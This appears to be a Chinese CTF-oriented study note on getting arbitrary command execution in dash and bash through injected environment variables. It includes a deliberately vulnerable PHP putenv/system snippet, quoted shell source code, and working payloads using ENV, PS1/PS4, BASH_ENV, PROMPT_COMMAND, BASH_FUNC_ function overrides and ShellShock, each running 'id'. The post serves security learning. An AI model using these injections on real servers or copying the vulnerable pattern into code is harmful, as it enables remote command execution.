如何利用环境变量注入执行任意命令
如何利用环境变量注入执行任意命令
这篇文章单纯就是学习我是如何利用环境变量注入执行任意命令的一个记录, 当时刚发这篇文章看到就觉得很有意思所以就学习了一下, 但是笔记文章写到一半就搁置下来了, 结果没想到今天的虎符HFCTF-2022的EZPHP就用到了, 所以就把文章继续写完了, 但是让人尴尬的是, 文章里面所有的poc用到题目环境中没一个是可行的, 没做出来的话期待在比赛结束后的WP中看到区别吧~
一些提前了解的知识
漏洞执行测试代码
<?php
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}
//... 一些其他代码
system('echo hello');
?>
LD_PRELOAD
这个漏洞其实就是一个特殊的LD_PRELOAD
漏洞,只不过区别在于一般的LD_PRELOAD漏洞要自己添加环境变量的so文件劫持某个函数,但这里这个漏洞是dash的shell执行命令的时候原有的文件满足一些参数条件后会被dash源码中的expandstr
函数解析,解析过程会执行被设置为环境变量的匿名函数中的恶意代码
所以这个漏洞就是dash的底层源码漏洞,只要满足参数要求就会解析环境变量BASH_FUNC_echo%%
中的匿名函数执行恶意代码
什么是dash?
sh不是真的有一个shell,实际上sh只是一个指向dash
软链接(也可能是bash)
在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash
初步探寻
在shell中变量即为环境变量,所以这里等于找到了一个名为ENV
的环境变量并传入read_profile
函数中。
read_profile
函数作用是读取SHELL中的profile文件,类似于$HOME/.profile
这种:
STATIC void
read_profile(const char *name)
{
name = expandstr(name);
if (setinputfile(name, INPUT_PUSH_FILE | INPUT_NOFILE_OK) < 0)
return;
cmdloop(0);
popfile();
}
但很有意思的是,这里它对文件名name变量做了一次`expandstr`,也就是解析。所以就是说只要出发了`read_profile`就等于触发了`expandstr`这个解析函数。
这个解析的目的是支持SHELL语法,比如会将`$HOME`解析成实际的家目录地址。既然支持SHELL语法,那么可能会支持执行命令。
但是想要触发命令执行需要一些参数一满足dash源码中的一些条件才会执进入相应代码的goto跳转(这就是为什么下面的命令会加很多参数的原因, 但是详细的代码发现过程可以去看P神的原文章,我这里就是直接总结一下有哪些注入命令可用所以就不搬这么多过来了)。
第一个发现 : ENV
在dash的main()函数中对ENV
变量使用lookupvar
函数处理后交给read_prefile
函数, 但是想要执行这个语句需要-i
参数
ENV='$(id 1>&2)' dash -i -c 'echo hello'
再传佳音 : PS1,2,4
read_profile
和expandstr
这两个函数,可以解析环境变量,解析支持shell语法,找到了PS1,PS2,PS4也会被expandstr
函数解析。
PS4='PS4 is worked $HOME Right?' && dash -x -c "echo test" #注意不能要&&否则会失败
PS4='PS4 is worked $HOME Right?' dash -x -c "echo test"
PS1='$(id)' dash
PS1='`id`' dash
#需要进入交互式的shell才能触发
新的发现 : Bash_ENV(只支持bash)
BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
比较可惜的一点就是这个只能使用bash触发, dash是没有反应的
当shell名字shell_name
这个变量等于sh
的时候,act_like_sh
(一个if判断条件的变量)会变成1。这也就解释了我们前面反常的结果——为什么bash -c
可以注入命令但sh -c
不可以,具体原因见原文。
虽然这个发现没有解决我最初提出的问题,但仍然是往前垮了一步,即我们在不控制bash的参数的情况下,可以通过环境变量注入任意命令。这可能在部分情况下会有一些作用。
BASH_ENV被限制后的发现--ENV
刚好可以承接上文,所以就顺便解释一下上面使用sh不行的具体原因吧:
/* A non-interactive shell not named `sh' and not in posix mode reads and
executes commands from $BASH_ENV. If `su' starts a shell with `-c cmd'
and `-su' as the name of the shell, we want to read the startup files.
No other non-interactive shells read any startup files. */
if (interactive_shell == 0 && !(su_shell && login_shell))
{
if (posixly_correct == 0 && act_like_sh == 0 && privileged_mode == 0 &&
sourced_env++ == 0)
execute_env_file (get_string_value ("BASH_ENV"));
return;
}
// ...
/* bash */
if (act_like_sh == 0 && no_rc == 0)
{
maybe_execute_file (SYS_BASHRC, 1);
maybe_execute_file (bashrc_file, 1);
}
/* sh */
else if (act_like_sh && privileged_mode == 0 && sourced_env++ == 0)
execute_env_file (get_string_value ("ENV"));
}
else /* bash --posix, sh --posix */
{
/* bash and sh */
if (interactive_shell && privileged_mode == 0 && sourced_env++ == 0)
execute_env_file (get_string_value ("ENV"));
}
上面代码中的第1个大的if判断结果里面 if语句条件act_like_sh == 0
会因为shell_name为sh所以执行act_like_sh++(变为1)
所以直接return而没有解析BASH_ENV, 下图为set_shell_name里面的一段代码
PS: 其实我心里是有点小问题的,很明显判断shell_name为sh或者su的时候才会执行act_like_sh++(变为1)
,但是为什么直接使用dash也不行呢,可能是在其它函数中内++了吧, 不懂bash的动调就不追究了hh
但是在第2个大的if判断结果中出现了解析ENV的语句execute_env_file (get_string_value ("ENV"));
就值得去探究
但想要执行到后面,必须不能进入第一个if结构中,即不能满足这个条件:interactive_shell == 0 && !(su_shell && login_shell)
。用文字翻译下就是:
- 需要是交互式shell,即传入
-i
参数 - 或者是su且login模式的shell
所以,与dash类似,我们通过ENV
也可以注入命令,只不过也需要额外的参数:
ENV='$(id 1>&2)' sh -i -c "echo hello"
Bash的过度
现在是不是感觉已经从在dash中找命令注入转移到了从bash中找命令注入?
既然已经开始逐渐过度到了bash那就在测试一下开始的dash命令注入能不能再dash中执行吧
PS1,2,4
自上面的PS4执行没注意&&而翻车之后,现在我对PS1的执行也出现了问题, 按照P神原文的说法, PS1应该是在bash中也可用的:
但是我在服务器上执行就没有任何反应:
ENV
ENV='$(id 1>&2)' dash -i -c 'echo hello'
在dash中可用, bash中不可用
有趣的变量 : PROMPT_COMMAND
这个东西不需要任何的参数就可以直接
dash
在设置了这个环境变量后,进入交互式模式前,会执行这个变量里包含的命令(我感觉走在本地执行是退出shell的时候执行)
但是在dash_shell关闭换回bash_shell的时候就会执行命令id
,
PROMPT_COMMAND='id' dash #退出dash的时候会执行
PROMPT_COMMAND='id' &&dash -c echo 1 #直接执行(实际上并不可行,原因见限制)
bash
使用bash比较骚的就是要记得执行一下unset PROMPT_COMMAND
要不然的话每次换行都会执行一次PROMPT_COMMAND包含的命令
PROMPT_COMMAND='id' bash #立即执行,因为每次换行后会换到一个新的bashshell
PROMPT_COMMAND='id' &&bash -c 'echo 1' #和上面一样(实际上并不可行,原因见限制)
PROMPT_COMMAND='id' bash -c 'echo 1' #不执行
PROMPT_COMMAND='id' dash -c 'echo 1' #不执行
限制
原本这个变量不管在bash还是dash中都会被执行并且不需要任何参数可以说是很理想的了, 但是在加了-c参数后就会不可执行
但是神奇的一幕就是本人在上面bash测试的时候用了一个&&连接了设置变量和执行bash语句的这两个命令结果居然成功了!!!
后来又发现其实在bash_shell中设置了PROMPT_COMMAND='id'
那么就算没有bash或dash
也会执行, 这是因为执行了这个语句后bash_shell会自己再执行一遍bash, 所以这是bash_shell的交互界面带给我的错觉, 实际上PROMPT_COMMAND
参数确实会受到-c
参数的影响,而在php中执行的system($cmd)
调用的是sh -c $cmd
这样的执行语句, 并且每次执行后的并不是以\(cmd1&&\)cmd2这样的连接执行形式
一些想法(思考加困惑)
最初看到这个的时候个人想法是觉得PROMPT_COMMAND参数中的命令会在会在bash_shell开启的时候执行, 如果在默认的bash_shell中执行PROMPT_COMMAND='id' dash
那么就只会正常进入dash_shell中, 一直回车换行并不会执行id, 但是PROMPT_COMMAND在bash_shell里面也为id
, 甚至执行了PROMPT_COMMAND='id' dash
也不会触发id命令, 但是一旦关闭dash_shell回到bash_shell就会执行命令id
所以我就想是不是bash的进程b1中打开了一个dash的子进程d1, 然后进入到子进程d1中, 当在dash_shell中执行bash之后就会关闭dash子进程d1和原bash父进程b1而重新打开一个新的bash进程b2
但是想到老师说在linux中一个子进程其实就是一个父进程, 所以觉得很奇怪, 不出意外, 这个想法很快就被验证不成立了, 因为每次我使用ps -aux |grep bash
输出的bash的pid并没有改变过, 只会在我打开另一个shell窗口才会增加一个bash的pid, 所以说只要没关系bash窗口就不会被kill
掉,。所以就又产生了一个问题:
是不是每个窗口的bash是一个父进程, 然后每次回车就会重新加载一些bash中的函数刷新PCB的数据, 而执行PROMPT_COMMAND的函数就是这些函数中的一个
扯远了扯远了哈哈哈哈, 继续回到原路线吧
最终章 : BASH_FUNC_
这个过程有点精彩,直接把P神的文章贴上来吧~
variables.c的initialize_shell_variables
函数用于将环境变量注册成SHELL的变量,其中包含的一段代码引起了我的注意:
for (string_index = 0; env && (string = env[string_index++]); ) {
name = string;
// ...
if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
STREQN ("() {", string, 4))
{
size_t namelen;
char *tname; /* desired imported function name */
namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;
tname = name + BASHFUNC_PREFLEN; /* start of func name */
tname[namelen] = '\0'; /* now tname == func name */
string_length = strlen (string);
temp_string = (char *)xmalloc (namelen + string_length + 2);
memcpy (temp_string, tname, namelen);
temp_string[namelen] = ' ';
memcpy (temp_string + namelen + 1, string, string_length + 1);
/* Don't import function names that are invalid identifiers from the
environment in posix mode, though we still allow them to be defined as
shell variables. */
if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
else
free (temp_string); /* parse_and_execute does this */
//...
}
}
这里for遍历了所有环境变量,并用=
分割,name
就是环境变量名,string
是值。
当满足下面这些条件的情况下,temp_string
将被传入parse_and_execute
执行:
privmode == 0
,即不能传入-p
参数read_but_dont_execute == 0
,即不能传入-n
参数STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN)
,环境变量名前10个字符等于BASH_FUNC_
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN)
,环境变量名后两个字符等于%%
STREQN ("() {", string, 4)
,环境变量的值前4个字符等于() {
前两个条件肯定是满足的,后三个条件是用户可控的,所以这个if语句是肯定可以进入的。进入if语句后,去除前缀BASH_FUNC_
和后缀%%
的部分将是一个变量名,而由() {
开头的字符串将会被执行。
这里其实做的就是一件事:根据环境变量的值初始化一个匿名函数,并赋予其名字。
所以,我们传入下面这样一个环境变量,将会在Bash上下文中添加一个myfunc函数:
env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
这里仍然存在一个问题是,因为在执行parse_and_execute
的时候配置了SEVAL_FUNCDEF
,我们只能利用这个方法定义函数,而无法逃逸出函数执行任意命令。解决这个问题的方法也很简单,我们只需要覆盖一些已有的“命令”,在后面执行这个命令的时候就可以执行到我们定义的函数里了。
那么,回到本文开头说的那个问题,我添加了一个名为echo
的函数,这样在执行echo hello
的时候实际上执行的是我添加的函数:
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
几乎成功解决了这个问题。
为什么说是几乎?因为我实际在CentOS 7下做测试的时候,我发现并不能复现这个trick。经过研究发现,CentOS 7下使用的是Bash 4.2,而BASH_FUNC_
这个trick是在Bash 4.4下引入的……这就十分尴尬了。因为CentOS 8下的Bash是4.4版本,我们可以使用它进行测试。结果是成功的。
其实这个缺陷的出现是因为[Bash破壳漏洞CVE-2014-6271](http://h0cksr.xyz/2022/03/04/bypass-disablecve-2014-6271bash%e7%a0%b4%e5%a3%b3%e6%bc%8f%e6%b4%9e/)的出现打了补丁之后造成的,因为这里涉及到补丁的分析, 我也不是很明白所以下面还是继续贴文章吧(具体补丁代码看原文) :
在这个补丁里也引入了`FUNCDEF_PREFIX`和`FUNCDEF_SUFFIX`,只不过和4.4以下的有一处差异:**Bash 4.4下`FUNCDEF_SUFFIX`等于`%%`,而这个4.2的补丁中`FUNCDEF_SUFFIX`等于`()`**。
这也我在CentOS 7下没有测试成功的原因,因为我设置的环境变量名不对。
所以,我修改了环境变量名重新测试,在CentOS 7下也能成功复现了:
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
所以,之后我们遇到环境变量注入,可以进行下列三种测试:
- Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如
TEST=() { :; }; id;
- Bash 4.4以前:
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
- Bash 4.4及以上:
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
在CentOS系系统下完美解决本文开头提到的问题,通杀所有Bash。
总结
ENV
:可以在sh -i -c
的时候注入任意命令PS1
:可以在sh
或bash
交互式环境下执行任意命令BASH_ENV
:可以在bash -c
的时候注入任意命令PROMPT_COMMAND
:可以在bash
交互式环境下执行任意命令BASH_FUNC_xxx%%
:可以在bash -c
或sh -c
的时候执行任意命令(Bash 4.4及之后)BASH_FUNC_xxx()
: Bash 4.4之前
参考文章:
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html